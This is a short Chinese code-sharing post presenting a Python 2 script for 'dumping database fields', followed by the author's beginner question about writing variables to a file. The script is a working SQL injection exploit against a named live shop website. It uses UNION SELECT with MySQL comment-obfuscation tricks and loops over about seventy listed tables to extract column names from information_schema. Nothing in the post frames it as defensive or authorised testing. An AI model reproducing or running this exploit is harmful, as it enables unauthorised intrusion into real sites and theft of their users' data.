首页 > 代码库 > 一个python拖库字段的小脚本

一个python拖库字段的小脚本

import requests
import re

all_column = dict()
all_db = "db_zf,dg_activity,dg_activity_log,dg_admin,dg_announce,dg_applystore,dg_area,dg_bank,dg_bonusmode,dg_buying,dg_buyrec,dg_bwnet,dg_cashes,dg_cashesperiods,dg_cfgs,dg_city,dg_cks,dg_delta,dg_department,dg_djgs,dg_duipeng,dg_e,dg_e1,dg_editrankrecord,dg_financialdetail,dg_internaltransfer,dg_jsrec,dg_jsrec3,dg_jsrechistory,dg_logcom,dg_logistics,dg_logs,dg_mails,dg_mails1,dg_membergrade,dg_mnlogs,dg_orders,dg_orders1,dg_periods,dg_periods3,dg_product,dg_productsort,dg_province,dg_rankpower,dg_remits,dg_rks,dg_salary_note,dg_selling,dg_setting,dg_setting1,dg_setting2,dg_shangshu,dg_shangshu2,dg_share,dg_shoppingcart,dg_sms,dg_smsdy,dg_smsgroup,dg_smsgroupuser,dg_smsrec,dg_smsyset,dg_startgold,dg_tdpv,dg_tjpan,dg_tranfer,dg_tyjj,dg_tyjj1,dg_users,dg_users_copy1,dg_wangyin,dg_wangyincz,dg_wlwhf"
all_table = all_db.split(‘,‘)
for table_name in all_table:
    url = "https://fei.sg/shop/products.php?action=content&id=-23‘ union/*!12345Select*/1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*!12345from*/information_schema.columns where table_name=‘"+table_name+"‘-- -"
    print url
    result = requests.get(url)
    check_column =  result.text
    column_swap = re.search(‘buy_content_text_a1">(.*?)</h1>‘,check_column).group(1)
    column_swap = column_swap.split(‘,‘)
    print table_name+":"+str(column_swap)
    all_column[table_name] = list(set(column_swap))

print ‘Done!‘
for keys in all_column.keys():
    print keys + ‘ --> ‘ + str(all_column[keys])

 刚学的py, 不知有没有像perl6中的直接把个变量写进文件

 

一个python拖库字段的小脚本